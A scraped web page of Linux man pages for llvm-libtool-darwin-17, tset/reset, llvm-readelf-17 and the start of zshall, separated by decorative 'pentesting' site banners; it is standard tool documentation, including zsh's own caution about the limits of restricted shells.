➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-libtool-darwin-17 and provides detailed information about the command llvm-libtool-darwin-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-libtool-darwin-17.

NAME 🖥️ llvm-libtool-darwin-17 🖥️

libtool-darwin - LLVM tool for creating libraries for Darwin

SYNOPSIS

llvm-libtool-darwin [options] <input files>

DESCRIPTION

llvm-libtool-darwin is a tool for creating static and dynamic libraries for Darwin.

For most scenarios, it works as a drop-in replacement for cctools’ libtool.

OPTIONS

llvm-libtool-darwin supports the following options:

-arch_only <architecture>
Build a static library only for the specified <architecture> and ignore all other architectures in the files.

-D
Use zero for timestamps and UIDs/GIDs. This is set by default.

-filelist <listfile[,dirname]>
Read input file names from <listfile>. File names are specified in <listfile> one per line, separated only by newlines. Whitespace on a line is assumed to be part of the filename. If the directory name, dirname, is also specified then it is prepended to each file name in the <listfile>.

-h, -help
Show help and usage for this command.

-l <x>
Searches for the library libx.a in the library search path. If the string <x> ends with ‘.o’, then the library ‘x’ is searched for without prepending ‘lib’ or appending ‘.a’. If the library is found, it is added to the list of input files. Otherwise, an error is raised.

-L <dir>
Adds <dir> to the list of directories in which to search for libraries. The directories are searched in the order in which they are specified with -L and before the default search path. The default search path includes directories /lib, /usr/lib and /usr/local/lib.

-no_warning_for_no_symbols
Do not warn about files that have no symbols.

-warnings_as_errors
Produce a non-zero exit status if any warnings are emitted.

-o <filename>
Specify the output file name. Must be specified exactly once.

-static
Produces a static library from the input files.

-U
Use actual timestamps and UIDs/GIDs.

-V
Display the version of this program and perform any operation specified.

-version
Display the version of this program and exit immediately.

EXIT STATUS

llvm-libtool-darwin exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/issues/>.

SEE ALSO

llvm-ar(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1465 - Linux cli command tset

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tset and provides detailed information about the command tset, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tset.

NAME 🖥️ tset 🖥️

initialize or reset terminal state

SYNOPSIS

tset [-IQVcqrsw] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal-type]
reset [-IQVcqrsw] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal-type]

DESCRIPTION

tset — initialization

This program initializes terminals.

First, tset retrieves the current terminal mode settings for your terminal. It does this by successively testing

  • the standard error,

  • standard output,

  • standard input and

  • ultimately /dev/tty

to obtain terminal settings. Having retrieved these settings, tset remembers which file descriptor to use when updating settings.

Next, tset determines the type of terminal that you are using. This determination is done as follows, using the first terminal type found.

1. The terminal argument specified on the command line.

2. The value of the TERM environment variable.

3. (BSD systems only.) The terminal type associated with the standard error output device in the /etc/ttys file. (On System V hosts and systems using that convention, getty(8) does this job by setting TERM according to the type passed to it by /etc/inittab.)

4. The default terminal type, unknown, is not suitable for curses applications.

If the terminal type was not specified on the command-line, the -m option mappings are then applied; see subsection Terminal Type Mapping. Then, if the terminal type begins with a question mark (?), the user is prompted for confirmation of the terminal type. An empty response confirms the type, or, another type can be entered to specify a new type. Once the terminal type has been determined, the terminal description for the terminal is retrieved. If no terminal description is found for the type, the user is prompted for another terminal type.

Once the terminal description is retrieved,

  • if the -w option is enabled, tset may update the terminal’s window size.

    If the window size cannot be obtained from the operating system, but the terminal description (or environment, e.g., LINES and COLUMNS variables specify this), use this to set the operating system’s notion of the window size.

  • if the -c option is enabled, the backspace, interrupt and line kill characters (among many other things) are set

  • unless the -I option is enabled, the terminal and tab initialization strings are sent to the standard error output, and tset waits one second (in case a hardware reset was issued).

  • Finally, if the erase, interrupt and line kill characters have changed, or are not set to their default values, their values are displayed to the standard error output.

reset — reinitialization

When invoked as reset, tset sets the terminal modes to sane values:

  • sets cooked and echo modes,

  • turns off cbreak and raw modes,

  • turns on newline translation and

  • resets any unset special characters to their default values

before doing the terminal initialization described above. Also, rather than using the terminal initialization strings, it uses the terminal reset strings.

The reset command is useful after a program dies leaving a terminal in an abnormal state:

  • you may have to type

<LF>reset<LF>

(the line-feed character is normally control-J) to get the terminal to work, as carriage-return may no longer work in the abnormal state.

  • Also, the terminal will often not echo the command.

Setting the Environment

It is often desirable to enter the terminal type and information about the terminal’s capabilities into the shell’s environment. This is done using the -s option.

When the -s option is specified, the commands to enter the information into the shell’s environment are written to the standard output. If the SHELL environment variable ends in csh, the commands are for csh(1), otherwise, they are for sh(1). The csh commands set and unset the shell variable noglob, leaving it unset. The following line in the .login or .profile files will initialize the environment correctly:

eval `tset -s options … `

Terminal Type Mapping

When the terminal is not hardwired into the system (or the current system information is incorrect) the terminal type derived from the /etc/ttys file or the TERM environment variable is often something generic like network, dialup, or unknown. When tset is used in a startup script it is often desirable to provide information about the type of terminal used on such ports.

The -m options maps from some set of conditions to a terminal type, that is, to tell tset If I’m on this port at a particular speed, guess that I’m on that kind of terminal.

The argument to the -m option consists of an optional port type, an optional operator, an optional baud rate specification, an optional colon (:) character and a terminal type. The port type is a string (delimited by either the operator or the colon character). The operator may be any combination of >, <, @, and !; > means greater than, < means less than, @ means equal to and ! inverts the sense of the test. The baud rate is specified as a number and is compared with the speed of the standard error output (which should be the control terminal). The terminal type is a string.

If the terminal type is not specified on the command line, the -m mappings are applied to the terminal type. If the port type and baud rate match the mapping, the terminal type specified in the mapping replaces the current type. If more than one mapping is specified, the first applicable mapping is used.

For example, consider the following mapping: dialup>9600:vt100. The port type is dialup , the operator is >, the baud rate specification is 9600, and the terminal type is vt100. The result of this mapping is to specify that if the terminal type is dialup, and the baud rate is greater than 9600 baud, a terminal type of vt100 will be used.

If no baud rate is specified, the terminal type will match any baud rate. If no port type is specified, the terminal type will match any port type. For example, -m dialup:vt100 -m :?xterm will cause any dialup port, regardless of baud rate, to match the terminal type vt100, and any non-dialup port type to match the terminal type ?xterm. Note, because of the leading question mark, the user will be queried on a default port as to whether they are actually using an xterm terminal.

No whitespace characters are permitted in the -m option argument. Also, to avoid problems with meta-characters, it is suggested that the entire -m option argument be placed within single quote characters, and that csh users insert a backslash character (\ before any exclamation marks (!).

OPTIONS

The options are as follows:

-c
Set control characters and modes.

**-e **ch
Set the erase character to ch.

-I
Do not send the terminal or tab initialization strings to the terminal.

**-i **ch
Set the interrupt character to ch.

**-k **ch
Set the line kill character to ch.

**-m **mapping
Specify a mapping from a port type to a terminal; see subsection Terminal Type Mapping.

-Q
Do not display any values for the erase, interrupt and line kill characters. Normally tset displays the values for control characters which differ from the system’s default values.

-q
The terminal type is displayed to the standard output, and the terminal is not initialized in any way. The option - by itself is equivalent but archaic.

-r
Print the terminal type to the standard error output.

-s
Print the sequence of shell commands to initialize the environment variable TERM to the standard output; see subsection Setting the Environment.

-V
reports the version of ncurses which was used in this program, and exits.

-w
Resize the window to match the size deduced via setupterm(3NCURSES). Normally this has no effect, unless setupterm is not able to detect the window size.

The arguments for the -e, -i, and -k options may either be entered as actual characters or by using the hat notation, i.e., control-h may be specified as H or h.

If neither -c or -w is given, both options are assumed.

ENVIRONMENT

The tset command uses these environment variables:

SHELL
tells tset whether to initialize TERM using sh(1) or csh(1) syntax.

TERM
Denotes your terminal type. Each terminal type is distinct, though many are similar.

TERMCAP
may denote the location of a termcap database. If it is not an absolute pathname, e.g., begins with a /, tset removes the variable from the environment before looking for the terminal description.

FILES

/etc/ttys
system port name to terminal type mapping database (BSD versions only).

/etc/terminfo
compiled terminal description database directory

PORTABILITY

Neither IEEE Std 1003.1/The Open Group Base Specifications Issue 7 (POSIX.1-2008) nor X/Open Curses Issue 7 documents tset or reset.

The AT&T tput utility (AIX, HP-UX, Solaris) incorporated the terminal-mode manipulation as well as termcap-based features such as resetting tabstops from tset in BSD (4.1c), presumably with the intention of making tset obsolete. However, each of those systems still provides tset. In fact, the commonly-used reset utility is always an alias for tset.

The tset utility provides backward compatibility with BSD environments; under most modern Unices, /etc/inittab and getty(8) can set TERM appropriately for each dial-up line, obviating what was tset’s most important use. This implementation behaves like 4.4BSD tset, with a few exceptions we shall consider now.

A few options are different because the TERMCAP variable is no longer supported under terminfo-based ncurses:

  • The -S option of BSD tset no longer works; it prints an error message to the standard error and dies.

  • The -s option only sets TERM, not TERMCAP.

There was an undocumented 4.4BSD feature that invoking tset via a link named TSET (or via any other name beginning with an upper-case letter) set the terminal to use upper-case only. This feature has been omitted.

The -A, -E, -h, -u and -v options were deleted from the tset utility in 4.4BSD. None of them were documented in 4.3BSD and all are of limited utility at best. The -a, -d, and -p options are similarly not documented or useful, but were retained as they appear to be in widespread use. It is strongly recommended that any usage of these three options be changed to use the -m option instead. The -a, -d, and -p options are therefore omitted from the usage summary above.

Very old systems, e.g., 3BSD, used a different terminal driver which was replaced in 4BSD in the early 1980s. To accommodate these older systems, the 4BSD tset provided a -n option to specify that the new terminal driver should be used. This implementation does not provide that choice.

It is still permissible to specify the -e, -i, and -k options without arguments, although it is strongly recommended that such usage be fixed to explicitly specify the character.

As of 4.4BSD, executing tset as reset no longer implies the -Q option. Also, the interaction between the - option and the terminal argument in some historic implementations of tset has been removed.

The -c and -w options are not found in earlier implementations. However, a different window size-change feature was provided in 4.4BSD.

  • In 4.4BSD, tset uses the window size from the termcap description to set the window size if tset is not able to obtain the window size from the operating system.

  • In ncurses, tset obtains the window size using setupterm(3NCURSES), which may be from the operating system, the LINES and COLUMNS environment variables or the terminal description.

Obtaining the window size from a terminal’s type description is common to both implementations, but considered obsolescent. Its only practical use is for hardware terminals. Generally, the window size will remain uninitialized only if there were a problem obtaining the value from the operating system (and setupterm would still fail). The LINES and COLUMNS environment variables may thus be useful for working around window-size problems, but have the drawback that if the window is resized, their values must be recomputed and reassigned. The resize(1) program distributed with xterm(1) assists this activity.

HISTORY

A reset command written by Kurt Shoens appeared in 1BSD (March 1978). It set the erase and kill characters to H (backspace) and @ respectively. Mark Horton improved this reset in 3BSD (October 1979), adding intr, quit, start/stop, and eof characters as well as changing the program to avoid modifying any user settings. That version of reset did not use termcap.

Eric Allman wrote a distinct tset command for 1BSD, using a forerunner of termcap called ttycap. Allman’s comments in the source code indicate that he began work in October 1977, continuing development over the next few years. By late 1979, it had migrated to termcap and handled the TERMCAP variable. Later comments indicate that tset was modified in September 1980 to use logic copied from the 3BSD reset program when it was invoked as reset. This version appeared in 4.1cBSD, late in 1982. Other developers such as Keith Bostic and Jim Bloom continued to modify tset until 4.4BSD was released in 1993.

The ncurses implementation was lightly adapted from the 4.4BSD sources to use the terminfo API by Eric S. Raymond <[email protected]>.

SEE ALSO

csh(1), sh(1), stty(1), terminfo(3NCURSES), tty(4), terminfo(5), ttys(4), environ(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1466 - Linux cli command llvm-readelf-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-readelf-17 and provides detailed information about the command llvm-readelf-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-readelf-17.

NAME 🖥️ llvm-readelf-17 🖥️

readelf - GNU-style LLVM Object Reader

SYNOPSIS

llvm-readelf [options] [input…]

DESCRIPTION

The llvm-readelf tool displays low-level format-specific information about one or more object files.

If input is “-”, llvm-readelf reads from standard input. Otherwise, it will read from the specified filenames.

OPTIONS

–all, -a
Equivalent to specifying all the main display options relevant to the file format.

–addrsig
Display the address-significance table.

–arch-specific, -A
Display architecture-specific information, e.g. the ARM attributes section on ARM.

–bb-addr-map
Display the contents of the basic block address map section(s), which contain the address of each function, along with the relative offset of each basic block.

–demangle, -C
Display demangled symbol names in the output.

–dependent-libraries
Display the dependent libraries section.

–dyn-relocations
Display the dynamic relocation entries.

–dyn-symbols, –dyn-syms
Display the dynamic symbol table.

–dynamic-table, –dynamic, -d
Display the dynamic table.

–cg-profile
Display the callgraph profile section.

–histogram, -I
Display a bucket list histogram for dynamic symbol hash tables.

–elf-linker-options
Display the linker options section.

–elf-output-style=<value>
Format ELF information in the specified style. Valid options are LLVM, GNU, and JSON. LLVM output is an expanded and structured format. GNU (the default) output mimics the equivalent GNU readelf output. JSON is JSON formatted output intended for machine consumption.

–section-groups, -g
Display section groups.

–expand-relocs
When used with –relocations, display each relocation in an expanded multi-line format.

–file-header, -h
Display file headers.

–gnu-hash-table
Display the GNU hash table for dynamic symbols.

–hash-symbols
Display the expanded hash table with dynamic symbol data.

–hash-table
Display the hash table for dynamic symbols.

–headers, -e
Equivalent to setting: –file-header, –program-headers, and –sections.

–help
Display a summary of command line options.

–hex-dump=<section[,section,…]>, -x
Display the specified section(s) as hexadecimal bytes. section may be a section index or section name.

–memtag
Display information about memory tagging present in the binary. This includes various memtag-specific dynamic entries, decoded global descriptor sections, and decoded Android-specific ELF notes.

–needed-libs
Display the needed libraries.

–no-demangle
Do not display demangled symbol names in the output. On by default.

–notes, -n
Display all notes.

–pretty-print
When used with –elf-output-style, JSON output will be formatted in a more readable format.

–program-headers, –segments, -l
Display the program headers.

–raw-relr
Do not decode relocations in RELR relocation sections when displaying them.

–relocations, –relocs, -r
Display the relocation entries in the file.

–sections, –section-headers, -S
Display all sections.

–section-data
When used with –sections, display section data for each section shown. This option has no effect for GNU style output.

–section-details, -t
Display all section details. Used as an alternative to –sections.

–section-mapping
Display the section to segment mapping.

–section-relocations
When used with –sections, display relocations for each section shown. This option has no effect for GNU style output.

–section-symbols
When used with –sections, display symbols for each section shown. This option has no effect for GNU style output.

–stackmap
Display contents of the stackmap section.

–stack-sizes
Display the contents of the stack sizes section(s), i.e. pairs of function names and the size of their stack frames. Currently only implemented for GNU style output.

–string-dump=<section[,section,…]>, -p
Display the specified section(s) as a list of strings. section may be a section index or section name.

–symbols, –syms, -s
Display the symbol table. Also display the dynamic symbol table when using GNU output style for ELF.

–unwind, -u
Display unwind information.

–version
Display the version of the llvm-readelf executable.

–version-info, -V
Display version sections.

–wide, -W
Ignored for GNU readelf compatibility. The output is already similar to when using -W with GNU readelf.

@<FILE>
Read command-line options from response file <FILE>.

EXIT STATUS

llvm-readelf returns 0 under normal operation. It returns a non-zero exit code if there were any errors.

SEE ALSO

llvm-nm(1), llvm-objdump(1), llvm-readobj(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1467 - Linux cli command zshall

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshall and provides detailed information about the command zshall, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshall.

NAME 🖥️ zshall 🖥️

the Z shell meta-man page

OVERVIEW

Because zsh contains many features, the zsh manual has been split into a number of sections. This manual page includes all the separate manual pages in the following order:

zsh Zsh overview
zshroadmap Informal introduction to the manual
zshmisc Anything not fitting into the other sections
zshexpn Zsh command and parameter expansion
zshparam Zsh parameters
zshoptions Zsh options
zshbuiltins Zsh built-in functions
zshzle Zsh command line editing
zshcompwid Zsh completion widgets
zshcompsys Zsh completion system
zshcompctl Zsh completion control
zshmodules Zsh loadable modules
zshcalsys Zsh built-in calendar functions
zshtcpsys Zsh built-in TCP functions
zshzftpsys Zsh built-in FTP client
zshcontrib Additional zsh functions and utilities

DESCRIPTION

Zsh is a UNIX command interpreter (shell) usable as an interactive login shell and as a shell script command processor. Of the standard shells, zsh most closely resembles ksh but includes many enhancements. It does not provide compatibility with POSIX or other shells in its default operating mode: see the section `Compatibility’ below.

Zsh has command line editing, builtin spelling correction, programmable command completion, shell functions (with autoloading), a history mechanism, and a host of other features.

AUTHOR

Zsh was originally written by Paul Falstad. Zsh is now maintained by the members of the zsh-workers mailing list <[email protected]>. The development is currently coordinated by Peter Stephenson <[email protected]>. The coordinator can be contacted at <[email protected]>, but matters relating to the code should generally go to the mailing list.

AVAILABILITY

Zsh is available from the following HTTP and anonymous FTP site.

ftp://ftp.zsh.org/pub/
https://www.zsh.org/pub/

The up-to-date source code is available via Git from Sourceforge. See https://sourceforge.net/projects/zsh/ for details. A summary of instructions for the archive can be found at https://zsh.sourceforge.io/.

MAILING LISTS

Zsh has several mailing lists:

<[email protected]> Announcements about releases, major changes in the shell and the monthly posting of the Zsh FAQ. (moderated)

<[email protected]>
User discussions.

<[email protected]>
Hacking, development, bug reports and patches.

<[email protected]>
Private mailing list (the general public cannot subscribe to it) for discussing bug reports with security implications, i.e., potential vulnerabilities.

If you find a security problem in zsh itself, please mail this address.

To subscribe or unsubscribe, send mail to the associated administrative address for the mailing list.

<[email protected]>
<[email protected]>
<[email protected]>

<[email protected]>
<[email protected]>
<[email protected]>

YOU ONLY NEED TO JOIN ONE OF THE MAILING LISTS AS THEY ARE NESTED. All submissions to zsh-announce are automatically forwarded to zsh-users. All submissions to zsh-users are automatically forwarded to zsh-workers.

If you have problems subscribing/unsubscribing to any of the mailing lists, send mail to <[email protected]>.

The mailing lists are archived; the archives can be accessed via the administrative addresses listed above. There is also a hypertext archive available at https://www.zsh.org/mla/.

THE ZSH FAQ

Zsh has a list of Frequently Asked Questions (FAQ), maintained by Peter Stephenson <[email protected]>. It is regularly posted to the newsgroup comp.unix.shell and the zsh-announce mailing list. The latest version can be found at any of the Zsh FTP sites, or at https://www.zsh.org/FAQ/. The contact address for FAQ-related matters is <[email protected]>.

THE ZSH WEB PAGE

Zsh has a web page which is located at https://www.zsh.org/. The contact address for web-related matters is <[email protected]>.

THE ZSH USERGUIDE

A userguide is currently in preparation. It is intended to complement the manual, with explanations and hints on issues where the manual can be cabbalistic, hierographic, or downright mystifying (for example, the word `hierographic’ does not exist). It can be viewed in its current state at https://zsh.sourceforge.io/Guide/. At the time of writing, chapters dealing with startup files and their contents and the new completion system were essentially complete.

INVOCATION

The following flags are interpreted by the shell when invoked to determine where the shell will read commands from:

-c Take the first argument as a command to execute, rather than reading commands from a script or standard input. If any further arguments are given, the first one is assigned to $0, rather than being used as a positional parameter.

-i
Force shell to be interactive. It is still possible to specify a script to execute.

-s
Force shell to read commands from the standard input. If the -s flag is not present and an argument is given, the first argument is taken to be the pathname of a script to execute.

If there are any remaining arguments after option processing, and neither of the options -c or -s was supplied, the first argument is taken as the file name of a script containing shell commands to be executed. If the option PATH_SCRIPT is set, and the file name does not contain a directory path (i.e. there is no `/’ in the name), first the current directory and then the command path given by the variable PATH are searched for the script. If the option is not set or the file name contains a `/’ it is used directly.

After the first one or two arguments have been appropriated as described above, the remaining arguments are assigned to the positional parameters.

For further options, which are common to invocation and the set builtin, see zshoptions(1).

The long option `–emulate’ followed (in a separate word) by an emulation mode may be passed to the shell. The emulation modes are those described for the emulate builtin, see zshbuiltins(1). The `–emulate’ option must precede any other options (which might otherwise be overridden), but following options are honoured, so may be used to modify the requested emulation mode. Note that certain extra steps are taken to ensure a smooth emulation when this option is used compared with the emulate command within the shell: for example, variables that conflict with POSIX usage such as path are not defined within the shell.

Options may be specified by name using the -o option. -o acts like a single-letter option, but takes a following string as the option name. For example,

zsh -x -o shwordsplit scr

runs the script scr, setting the XTRACE option by the corresponding letter `-x’ and the SH_WORD_SPLIT option by name. Options may be turned off by name by using +o instead of -o. -o can be stacked up with preceding single-letter options, so for example `-xo shwordsplit’ or `-xoshwordsplit’ is equivalent to `-x -o shwordsplit'.

Options may also be specified by name in GNU long option style, `option-name’. When this is done, `-’ characters in the option name are permitted: they are translated into `_’, and thus ignored. So, for example, `zsh –sh-word-split’ invokes zsh with the SH_WORD_SPLIT option turned on. Like other option syntaxes, options can be turned off by replacing the initial `-’ with a `+’; thus `+-sh-word-split’ is equivalent to `–no-sh-word-split’. Unlike other option syntaxes, GNU-style long options cannot be stacked with any other options, so for example `-x-shwordsplit’ is an error, rather than being treated like `-x –shwordsplit'.

The special GNU-style option `–version’ is handled; it sends to standard output the shell’s version information, then exits successfully. `–help’ is also handled; it sends to standard output a list of options that can be used when invoking the shell, then exits successfully.

Option processing may be finished, allowing following arguments that start with `-’ or `+’ to be treated as normal arguments, in two ways. Firstly, a lone `-’ (or `+’) as an argument by itself ends option processing. Secondly, a special option `’ (or `+-’), which may be specified on its own (which is the standard POSIX usage) or may be stacked with preceding options (so `-x-’ is equivalent to `-x –’). Options are not permitted to be stacked after `’ (so `-x-f’ is an error), but note the GNU-style option form discussed above, where `–shwordsplit’ is permitted and does not end option processing.

Except when the sh/ksh emulation single-letter options are in effect, the option `-b’ (or `+b’) ends option processing. `-b’ is like `’, except that further single-letter options can be stacked after the `-b’ and will take effect as normal.

COMPATIBILITY

Zsh tries to emulate sh or ksh when it is invoked as sh or ksh respectively; more precisely, it looks at the first letter of the name by which it was invoked, excluding any initial `r’ (assumed to stand for `restricted’), and if that is `b’, `s’ or `k’ it will emulate sh or ksh. Furthermore, if invoked as su (which happens on certain systems when the shell is executed by the su command), the shell will try to find an alternative name from the SHELL environment variable and perform emulation based on that.

In sh and ksh compatibility modes the following parameters are not special and not initialized by the shell: ARGC, argv, cdpath, fignore, fpath, HISTCHARS, mailpath, MANPATH, manpath, path, prompt, PROMPT, PROMPT2, PROMPT3, PROMPT4, psvar, status.

The usual zsh startup/shutdown scripts are not executed. Login shells source /etc/profile followed by $HOME/.profile. If the ENV environment variable is set on invocation, $ENV is sourced after the profile scripts. The value of ENV is subjected to parameter expansion, command substitution, and arithmetic expansion before being interpreted as a pathname. Note that the PRIVILEGED option also affects the execution of startup files.

The following options are set if the shell is invoked as sh or ksh: NO_BAD_PATTERN, NO_BANG_HIST, NO_BG_NICE, NO_EQUALS, NO_FUNCTION_ARGZERO, GLOB_SUBST, NO_GLOBAL_EXPORT, NO_HUP, INTERACTIVE_COMMENTS, KSH_ARRAYS, NO_MULTIOS, NO_NOMATCH, NO_NOTIFY, POSIX_BUILTINS, NO_PROMPT_PERCENT, RM_STAR_SILENT, SH_FILE_EXPANSION, SH_GLOB, SH_OPTION_LETTERS, SH_WORD_SPLIT. Additionally the BSD_ECHO and IGNORE_BRACES options are set if zsh is invoked as sh. Also, the KSH_OPTION_PRINT, LOCAL_OPTIONS, PROMPT_BANG, PROMPT_SUBST and SINGLE_LINE_ZLE options are set if zsh is invoked as ksh.

Please note that, whilst reasonable efforts are taken to address incompatibilities when they arise, zsh does not guarantee complete emulation of other shells, nor POSIX compliance. For more information on the differences between zsh and other shells, please refer to chapter 2 of the shell FAQ, https://www.zsh.org/FAQ/.

RESTRICTED SHELL

When the basename of the command used to invoke zsh starts with the letter `r’ or the `-r’ command line option is supplied at invocation, the shell becomes restricted. Emulation mode is determined after stripping the letter `r’ from the invocation name. The following are disabled in restricted mode:

· changing directories with the cd builtin

·
changing or unsetting the EGID, EUID, GID, HISTFILE, HISTSIZE, IFS, LD_AOUT_LIBRARY_PATH, LD_AOUT_PRELOAD, LD_LIBRARY_PATH, LD_PRELOAD, MODULE_PATH, module_path, PATH, path, SHELL, UID and USERNAME parameters

·
specifying command names containing /

·
specifying command pathnames using hash

·
redirecting output to files

·
using the exec builtin command to replace the shell with another command

·
using jobs -Z to overwrite the shell process’ argument and environment space

·
using the ARGV0 parameter to override argv[0] for external commands

·
turning off restricted mode with set +r or unsetopt RESTRICTED

These restrictions are enforced after processing the startup files. The startup files should set up PATH to point to a directory of commands which can be safely invoked in the restricted environment. They may also add further restrictions by disabling selected builtins.

Restricted mode can also be activated any time by setting the RESTRICTED option. This immediately enables all the restrictions described above even if the shell still has not processed all startup files.

A shell Restricted Mode is an outdated way to restrict what users may do: modern systems have better, safer and more reliable ways to confine user actions, such as chroot jails, containers and zones.

A restricted shell is very difficult to implement safely. The feature may be removed in a future version of zsh.

It is important to realise that the restrictions only apply to the shell, not to the commands it runs (except for some shell builtins). While a restricted shell can only run the restricted list of commands accessible via the predefined `PATH’ variable, it does not prevent those commands from running any other command.

As an example, if `env’ is among the list of allowed commands, then it allows the user to run any command as `env’ is not a shell builtin command and can run arbitrary executables.

So when implementing a restricted shell framework it is important to be fully aware of what actions each of the allowed commands or features (which may be regarded as modules) can perform.

Many commands can have their behaviour affected by environment variables. Except for the few listed above, zsh does not restrict the setting of environment variables.

If a `perl’, `python’, `bash’, or other general purpose interpreted script it treated as a restricted command, the user can work around the restriction by setting specially crafted `PERL5LIB’, `PYTHONPATH’, `BASHENV’ (etc.) environment variables. On GNU systems, any command can be made to run arbitrary code when performing character set conversion (including zsh itself) by setting a `GCONV_PATH’ environment variable. Those are only a few examples.

Bear in mind that, contrary to some other shells, `readonly’ is not a security feature in zsh as it can be undone and so cannot be used to mitigate the above.

A restricted shell only works if the allowed commands are few and carefully written so as not to grant more access to users than intended. It is also important to restrict what zsh module the user may load as some of them, such as `zsh/system’, `zsh/mapfile’ and `zsh/files’, allow bypassing most of the restrictions.

STARTUP/SHUTDOWN FILES

Commands are first read from /etc/zsh/zshenv; this cannot be overridden. Subsequent behaviour is modified by the RCS and GLOBAL_RCS options; the former affects all startup files, while the second only affects global startup files (those shown here with an path starting with a /). If one of the options is unset at any point, any subsequent startup file(s) of the corresponding type will not be read. It is also possible for a file in $ZDOTDIR to re-enable GLOBAL_RCS. Both RCS and GLOBAL_RCS are set by default.

Commands are then read from $ZDOTDIR/.zshenv. If the shell is a login shell, commands are read from /etc/zsh/zprofile and then $ZDOTDIR/.zprofile. Then, if the shell is interactive, commands are read from /etc/zsh/zshrc and then $ZDOTDIR/.zshrc. Finally, if the shell is a login shell, /etc/zsh/zlogin and $ZDOTDIR/.zlogin are read.

When a login shell exits, the files $ZDOTDIR/.zlogout and then /etc/zsh/zlogout are read. This happens with either an explicit exit via the exit or logout commands, or an implicit exit by reading end-of-file from the terminal. However, if the shell terminates due to exec‘ing another process, the logout files are not read. These are also affected by the RCS and GLOBAL_RCS options. Note also that the RCS option affects the saving of history files, i.e. if RCS is unset when the shell exits, no history file will be saved.

If ZDOTDIR is unset, HOME is used instead. Files listed above as being in /etc may be in another directory, depending on the installation.

As /etc/zsh/zshenv is run for all instances of zsh, it is important that it be kept as small as possible. In particular, it is a good idea to put code that does not need to be run for every single shell behind a test of the form `if [[ -o rcs ]]; then …’ so that it will not be executed when zsh is invoked with the `-f’ option.

Any of these files may be pre-compiled with the zcompile builtin command (see zshbuiltins(1)). If a compiled file exists (named for the original file plus the .zwc extension) and it is newer than the original file, the compiled file will be used instead.

FILES

$ZDOTDIR/.zshenv
$ZDOTDIR/.zprofile
$ZDOTDIR/.zshrc
$ZDOTDIR/.zlogin
$ZDOTDIR/.zlogout
${TMPPREFIX}* (default is /tmp/zsh*)
